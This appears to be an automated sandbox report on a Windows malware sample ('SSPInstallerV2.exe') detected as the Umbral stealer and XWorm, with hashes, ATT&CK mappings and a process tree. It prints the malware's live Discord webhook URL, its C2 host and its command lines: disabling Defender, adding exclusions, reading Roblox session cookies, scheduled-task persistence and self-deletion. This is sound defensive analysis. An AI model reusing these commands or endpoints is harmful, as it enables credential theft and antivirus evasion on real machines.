Analysis
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max time kernel
146s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
03-08-2024 18:20
Static task
static1
Behavioral task
behavioral1
Sample
SSPInstallerV2.exe
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
SSPInstallerV2.exe
Resource
win10v2004-20240802-en
General
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Target
SSPInstallerV2.exe
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Size
634KB
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MD5
8f27d14a78615dc0c6d100ca3f96a86a
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SHA1
3d267acd9ae52e0585e091826a57af1a53450ae6
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SHA256
2f724138cbe4102823295fb51e7edb615b95a0eeae09434596e70f28bc0e64a9
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SHA512
0af71aed92eda0f10cd435a542d3b6fbada85be89e4d94f5c029ee81b0c0167140cf801bfdaa816d479aa435741a337f827be61683ffd32367d1b1c2d276c7d7
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SSDEEP
6144:3kuuqTIKE3cPTWyG08SLGf5FKlunGth1mQVSomL3To7ovjqjvrKi5z5XThDLGfwk:3DuqhE3cPqy9uuunGtNSnP/OzHST
Malware Config
Extracted
umbral
https://discord.com/api/webhooks/1269302041445142548/7kHNPJkzcEXhevOi0GE-ta2E1mwfJ5-sBn7_at06BC13YjVrSo2F-y7QrDWzHj8zAjbY
Extracted
xworm
by-thus.gl.at.ply.gg:35938
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Install_directory
%Temp%
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install_file
SSPinstaller.exe
Signatures
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Detect Umbral payload 2 IoCs
resource yara_rule behavioral1/memory/2796-8-0x0000000000D20000-0x0000000000D7A000-memory.dmp family_umbral behavioral1/files/0x00080000000120ff-7.dat family_umbral -
Detect Xworm Payload 3 IoCs
resource yara_rule behavioral1/files/0x0008000000015cf7-11.dat family_xworm behavioral1/memory/2120-13-0x0000000000F90000-0x0000000000FC0000-memory.dmp family_xworm behavioral1/memory/2416-88-0x0000000000E80000-0x0000000000EB0000-memory.dmp family_xworm -
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
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pid Process 1472 powershell.exe 2152 powershell.exe 2504 powershell.exe 2496 powershell.exe 2484 powershell.exe 1740 powershell.exe 2440 powershell.exe 1644 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts requestInstall.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SSPinstaller.lnk SSPInstaller.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SSPinstaller.lnk SSPInstaller.exe -
Executes dropped EXE 4 IoCs
pid Process 2796 requestInstall.exe 2120 SSPInstaller.exe 2416 SSPinstaller.exe 648 SSPinstaller.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Windows\CurrentVersion\Run\SSPinstaller = "C:\\Users\\Admin\\AppData\\Local\\Temp\\SSPinstaller.exe" SSPInstaller.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 9 discord.com 10 discord.com -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 4 ip-api.com 6 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1428 cmd.exe 892 PING.EXE -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2376 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 892 PING.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2424 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 2796 requestInstall.exe 2484 powershell.exe 2152 powershell.exe 2504 powershell.exe 752 powershell.exe 1740 powershell.exe 2440 powershell.exe 1644 powershell.exe 1472 powershell.exe 2496 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2120 SSPInstaller.exe Token: SeDebugPrivilege 2796 requestInstall.exe Token: SeIncreaseQuotaPrivilege 2904 wmic.exe Token: SeSecurityPrivilege 2904 wmic.exe Token: SeTakeOwnershipPrivilege 2904 wmic.exe Token: SeLoadDriverPrivilege 2904 wmic.exe Token: SeSystemProfilePrivilege 2904 wmic.exe Token: SeSystemtimePrivilege 2904 wmic.exe Token: SeProfSingleProcessPrivilege 2904 wmic.exe Token: SeIncBasePriorityPrivilege 2904 wmic.exe Token: SeCreatePagefilePrivilege 2904 wmic.exe Token: SeBackupPrivilege 2904 wmic.exe Token: SeRestorePrivilege 2904 wmic.exe Token: SeShutdownPrivilege 2904 wmic.exe Token: SeDebugPrivilege 2904 wmic.exe Token: SeSystemEnvironmentPrivilege 2904 wmic.exe Token: SeRemoteShutdownPrivilege 2904 wmic.exe Token: SeUndockPrivilege 2904 wmic.exe Token: SeManageVolumePrivilege 2904 wmic.exe Token: 33 2904 wmic.exe Token: 34 2904 wmic.exe Token: 35 2904 wmic.exe Token: SeIncreaseQuotaPrivilege 2904 wmic.exe Token: SeSecurityPrivilege 2904 wmic.exe Token: SeTakeOwnershipPrivilege 2904 wmic.exe Token: SeLoadDriverPrivilege 2904 wmic.exe Token: SeSystemProfilePrivilege 2904 wmic.exe Token: SeSystemtimePrivilege 2904 wmic.exe Token: SeProfSingleProcessPrivilege 2904 wmic.exe Token: SeIncBasePriorityPrivilege 2904 wmic.exe Token: SeCreatePagefilePrivilege 2904 wmic.exe Token: SeBackupPrivilege 2904 wmic.exe Token: SeRestorePrivilege 2904 wmic.exe Token: SeShutdownPrivilege 2904 wmic.exe Token: SeDebugPrivilege 2904 wmic.exe Token: SeSystemEnvironmentPrivilege 2904 wmic.exe Token: SeRemoteShutdownPrivilege 2904 wmic.exe Token: SeUndockPrivilege 2904 wmic.exe Token: SeManageVolumePrivilege 2904 wmic.exe Token: 33 2904 wmic.exe Token: 34 2904 wmic.exe Token: 35 2904 wmic.exe Token: SeDebugPrivilege 2484 powershell.exe Token: SeDebugPrivilege 2152 powershell.exe Token: SeDebugPrivilege 2504 powershell.exe Token: SeDebugPrivilege 752 powershell.exe Token: SeDebugPrivilege 1740 powershell.exe Token: SeDebugPrivilege 2440 powershell.exe Token: SeIncreaseQuotaPrivilege 2052 wmic.exe Token: SeSecurityPrivilege 2052 wmic.exe Token: SeTakeOwnershipPrivilege 2052 wmic.exe Token: SeLoadDriverPrivilege 2052 wmic.exe Token: SeSystemProfilePrivilege 2052 wmic.exe Token: SeSystemtimePrivilege 2052 wmic.exe Token: SeProfSingleProcessPrivilege 2052 wmic.exe Token: SeIncBasePriorityPrivilege 2052 wmic.exe Token: SeCreatePagefilePrivilege 2052 wmic.exe Token: SeBackupPrivilege 2052 wmic.exe Token: SeRestorePrivilege 2052 wmic.exe Token: SeShutdownPrivilege 2052 wmic.exe Token: SeDebugPrivilege 2052 wmic.exe Token: SeSystemEnvironmentPrivilege 2052 wmic.exe Token: SeRemoteShutdownPrivilege 2052 wmic.exe Token: SeUndockPrivilege 2052 wmic.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2696 wrote to memory of 2796 2696 SSPInstallerV2.exe 30 PID 2696 wrote to memory of 2796 2696 SSPInstallerV2.exe 30 PID 2696 wrote to memory of 2796 2696 SSPInstallerV2.exe 30 PID 2696 wrote to memory of 2120 2696 SSPInstallerV2.exe 31 PID 2696 wrote to memory of 2120 2696 SSPInstallerV2.exe 31 PID 2696 wrote to memory of 2120 2696 SSPInstallerV2.exe 31 PID 2796 wrote to memory of 2904 2796 requestInstall.exe 32 PID 2796 wrote to memory of 2904 2796 requestInstall.exe 32 PID 2796 wrote to memory of 2904 2796 requestInstall.exe 32 PID 2796 wrote to memory of 2560 2796 requestInstall.exe 35 PID 2796 wrote to memory of 2560 2796 requestInstall.exe 35 PID 2796 wrote to memory of 2560 2796 requestInstall.exe 35 PID 2796 wrote to memory of 2484 2796 requestInstall.exe 37 PID 2796 wrote to memory of 2484 2796 requestInstall.exe 37 PID 2796 wrote to memory of 2484 2796 requestInstall.exe 37 PID 2796 wrote to memory of 2152 2796 requestInstall.exe 39 PID 2796 wrote to memory of 2152 2796 requestInstall.exe 39 PID 2796 wrote to memory of 2152 2796 requestInstall.exe 39 PID 2796 wrote to memory of 2504 2796 requestInstall.exe 41 PID 2796 wrote to memory of 2504 2796 requestInstall.exe 41 PID 2796 wrote to memory of 2504 2796 requestInstall.exe 41 PID 2796 wrote to memory of 752 2796 requestInstall.exe 43 PID 2796 wrote to memory of 752 2796 requestInstall.exe 43 PID 2796 wrote to memory of 752 2796 requestInstall.exe 43 PID 2120 wrote to memory of 1740 2120 SSPInstaller.exe 45 PID 2120 wrote to memory of 1740 2120 SSPInstaller.exe 45 PID 2120 wrote to memory of 1740 2120 SSPInstaller.exe 45 PID 2120 wrote to memory of 2440 2120 SSPInstaller.exe 47 PID 2120 wrote to memory of 2440 2120 SSPInstaller.exe 47 PID 2120 wrote to memory of 2440 2120 SSPInstaller.exe 47 PID 2796 wrote to memory of 2052 2796 requestInstall.exe 49 PID 2796 wrote to memory of 2052 2796 requestInstall.exe 49 PID 2796 wrote to memory of 2052 2796 requestInstall.exe 49 PID 2796 wrote to memory of 844 2796 requestInstall.exe 51 PID 2796 wrote to memory of 844 2796 requestInstall.exe 51 PID 2796 wrote to memory of 844 2796 requestInstall.exe 51 PID 2120 wrote to memory of 1644 2120 SSPInstaller.exe 53 PID 2120 wrote to memory of 1644 2120 SSPInstaller.exe 53 PID 2120 wrote to memory of 1644 2120 SSPInstaller.exe 53 PID 2796 wrote to memory of 1736 2796 requestInstall.exe 55 PID 2796 wrote to memory of 1736 2796 requestInstall.exe 55 PID 2796 wrote to memory of 1736 2796 requestInstall.exe 55 PID 2796 wrote to memory of 1472 2796 requestInstall.exe 57 PID 2796 wrote to memory of 1472 2796 requestInstall.exe 57 PID 2796 wrote to memory of 1472 2796 requestInstall.exe 57 PID 2120 wrote to memory of 2496 2120 SSPInstaller.exe 59 PID 2120 wrote to memory of 2496 2120 SSPInstaller.exe 59 PID 2120 wrote to memory of 2496 2120 SSPInstaller.exe 59 PID 2796 wrote to memory of 2376 2796 requestInstall.exe 61 PID 2796 wrote to memory of 2376 2796 requestInstall.exe 61 PID 2796 wrote to memory of 2376 2796 requestInstall.exe 61 PID 2796 wrote to memory of 1428 2796 requestInstall.exe 63 PID 2796 wrote to memory of 1428 2796 requestInstall.exe 63 PID 2796 wrote to memory of 1428 2796 requestInstall.exe 63 PID 1428 wrote to memory of 892 1428 cmd.exe 65 PID 1428 wrote to memory of 892 1428 cmd.exe 65 PID 1428 wrote to memory of 892 1428 cmd.exe 65 PID 2120 wrote to memory of 2424 2120 SSPInstaller.exe 66 PID 2120 wrote to memory of 2424 2120 SSPInstaller.exe 66 PID 2120 wrote to memory of 2424 2120 SSPInstaller.exe 66 PID 2692 wrote to memory of 2416 2692 taskeng.exe 70 PID 2692 wrote to memory of 2416 2692 taskeng.exe 70 PID 2692 wrote to memory of 2416 2692 taskeng.exe 70 PID 2692 wrote to memory of 648 2692 taskeng.exe 71 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2560 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\SSPInstallerV2.exe"C:\Users\Admin\AppData\Local\Temp\SSPInstallerV2.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2696 -
C:\Users\Admin\AppData\Roaming\requestInstall.exe"C:\Users\Admin\AppData\Roaming\requestInstall.exe"2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2796 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2904
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C:\Windows\system32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\requestInstall.exe"3⤵
- Views/modifies file attributes
PID:2560
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\requestInstall.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2484
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2152
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2504
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:752
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2052
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory3⤵PID:844
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵PID:1736
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1472
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name3⤵
- Detects videocard installed
PID:2376
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C:\Windows\system32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Roaming\requestInstall.exe" && pause3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:1428 -
C:\Windows\system32\PING.EXEping localhost4⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:892
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C:\Users\Admin\AppData\Roaming\SSPInstaller.exe"C:\Users\Admin\AppData\Roaming\SSPInstaller.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\SSPInstaller.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1740
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SSPInstaller.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2440
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SSPinstaller.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1644
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SSPinstaller.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2496
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "SSPinstaller" /tr "C:\Users\Admin\AppData\Local\Temp\SSPinstaller.exe"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2424
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C:\Windows\system32\taskeng.exetaskeng.exe {F8EDA163-B7AE-457A-A9C7-8F8C447F9FDE} S-1-5-21-3450744190-3404161390-554719085-1000:PDIZKVQX\Admin:Interactive:[1]1⤵
- Suspicious use of WriteProcessMemory
PID:2692 -
C:\Users\Admin\AppData\Local\Temp\SSPinstaller.exeC:\Users\Admin\AppData\Local\Temp\SSPinstaller.exe2⤵
- Executes dropped EXE
PID:2416
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C:\Users\Admin\AppData\Local\Temp\SSPinstaller.exeC:\Users\Admin\AppData\Local\Temp\SSPinstaller.exe2⤵
- Executes dropped EXE
PID:648
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Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD511b4ef8bd1f72c1cf96ededf2c64a6c4
SHA146d87189af21773a6039f96da6f199dca8672a0b
SHA2563a5df1147d0c69608f9b737dba181ea7a4d5ed3aecdfcb08d17a746c2a010616
SHA512eb272bb7143889efc2dd341b3aca81bc0f133613886e64cf1d516c53dff565dce64cef308b2d4d22a4c5eebc154a0db69d27118a03382d8b5f25b29882c6fbe3
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Filesize
171KB
MD5c9e72423dd94f42bf222d9a7fdb6eff9
SHA1c724cd012c0c17a9222427d021fab0f3a0f25ac0
SHA2568dcffd289f6b10088c345182b1d28ae492a3875b05af7f06dc0ff1d504461a16
SHA5126265cfddc5320ef22954dae241a4988898ca6a80b48e1269f9b9df6ad22603dfd4f456d76b524062e904c00609ae9084728229872f8311120d9e71ed9db40b80
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Filesize
338KB
MD54cd80597cf008592993ec6ec3780549c
SHA1827a960dcc89c07cf8a80c97e2f2a281474d8c7f
SHA25648c41a739d33db337ca33ab78b31e7bb13378508af1b2b8168594cc12268134b
SHA512024fc64eaddc10370e64fe6531030e92a0c666c40737dccae071927c36fca86cb3c0828589014a6e3d1a108846e3bbde1be3c3afe2a996f9b843e9fb51b3b43d